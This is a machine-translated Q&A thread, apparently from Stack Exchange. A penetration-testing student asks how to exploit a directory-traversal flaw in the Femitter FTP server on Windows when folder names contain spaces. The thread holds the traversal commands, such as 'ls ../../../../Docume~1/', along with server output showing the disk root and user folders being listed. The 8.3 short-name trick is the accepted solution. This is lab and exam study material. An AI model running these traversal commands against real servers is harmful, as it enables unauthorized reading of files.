对包含空格的目录进行FTP目录遍历攻击


15

我在封闭的参考环境中进行了受制裁的笔试,并且在看似简单的问题上挣扎,我目前无法解决。

尝试对运行在MS Windows OS上的易受攻击的Fermitter FTP服务器执行目录遍历攻击时,可以在系统根目录上执行LIST(地址和内容列表更改为仅供参考):

# ftp 192.168.13.22
Connected to 192.168.13.22.
220 Femitter FTP Server ready.
Name (192.168.13.22:root): 
331 Password required for root.
Password:
230 User root logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls ../../../../
200 Port command successful.
150 Opening data connection for directory list.
-rwxrwxrwx   1 ftp      ftp            0 Sep 23  2015 AUTOEXEC.BAT
-rw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 CONFIG.SYS
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 Documents and Settings
dr--r--r--   1 ftp      ftp            0 Sep 23  2015 Program Files
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 WINDOWS
226 File sent ok

但是,如果我要列出包含诸如的空白的文件夹的内容Documents and settings,我将无法列出目录内容,因为空白被忽略了。

ftp> ls ../../../../documents and settings/
usage: ls remote-directory local-file
ftp> ls ../../../../documents\ and\ settings
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
ftp> ls ../../../../documents%20and%20settings
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents%20and%20settings not found
226 File sent ok
ftp> ls ../../../../'documents and settings'/
usage: ls remote-directory local-file
ftp> ls ../../../../"documents and settings"/
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
ftp> ls "../../../../documents and settings/"
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok

我已经尝试使用其他FTP客户端(在Linux和Windows上为CLI和GUI),它们要么忽略空格,要么不允许目录遍历。

还尝试通过首先使用原始套接字,然后使用ftplib将HEX格式的命令直接发送到FTP服务器来编写针对Python的攻击的脚本,但没有成功。

几个小时的谷歌搜索并没有找到有效的解决方案(是的,有很多选择,但是没有用),这就是为什么有人在这里遇到同样的问题。可以肯定的是,这不是第一次需要使用空格进行目录遍历。


区分大小写似乎与FTP客户端无关。至少GNU / Linux FTP客户端列出了忽略字母大小写的目录。

@lockout:区分大小写是服务器端的事情,而不是客户端的事情。客户端以与服务器发送数据相同的方式列出数据,并且不改变大小写。
Steffen Ullrich

1
也尝试C:\ Docume〜1 \。
狗吃猫世界

1
尝试使用\目录字符串或引号来转义空格
DavidPostill

1
我很高兴为您@lockout服务。由于您在回答问题时遇到了麻烦,因此我接受您的回答就可以了。谢谢你给我的信用
狗吃猫世界

Answers:


16

@Dogeatcatworld建议使用MS Windows目录缩写符号(例如)的解决方案C:\Docume~1\

ftp> ls ../../../../Docume~1/
200 Port command successful.
150 Opening data connection for directory list.
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 .
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 ..
drw-rw-rw-   1 ftp      ftp            0 Sep 26  2015 Administrateur
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 All Users
226 File sent ok

MS知识库中的一篇非常好的文章介绍了8.3目录符号:Windows如何从长文件名生成8.3文件名


2
我知道的OSCP。要添加到提示中,对于较短的目录(例如“ All Users”),请删除空格并使用“ AllUse〜1”。您是否找到了挂载FTP进行交互式浏览的方法,还是最终只是一个一个地下载文件。
n00b

1

“短名称”实际上是旧的DOS 8.3命名约定,因此,假设只有一个名称匹配,则所有目录将是前6个字母,后跟〜1,例如:

C:\
ABCDEF〜1 -C:\ ABCDEFG我是目录C:\ BCDEFG〜1-C:\ BCDEFGHIJKL M其他目录

这是唯一的例外:

C:\ ABCDEF〜1-C:\ ABCDEFG我是目录
C:\ ABCDEF〜2-C:\ ABCDEFGHI目录

来源:如何找到Windows目录/文件的短路径?


0

Ftp不使用url编码,因此%xx将不起作用,除非您在可以为您翻译它的浏览器中使用ftp。

尝试使用引号引起来,例如:ls“ ../../some dir”


1
嗨,如果您查看尝试遍历目录的尝试,您会看到我尝试了多个引号:单引号,双引号和反引号。它们不起作用,如FTP输出列表中所示。由于急于尝试所有选项,因此使用%20只是试验一下是否可行。当然,%编码可在能够解释它们的浏览器和FTP客户端上使用。
锁定
By using our site, you acknowledge that you have read and understand our Cookie Policy and Privacy Policy.
Licensed under cc by-sa 3.0 with attribution required.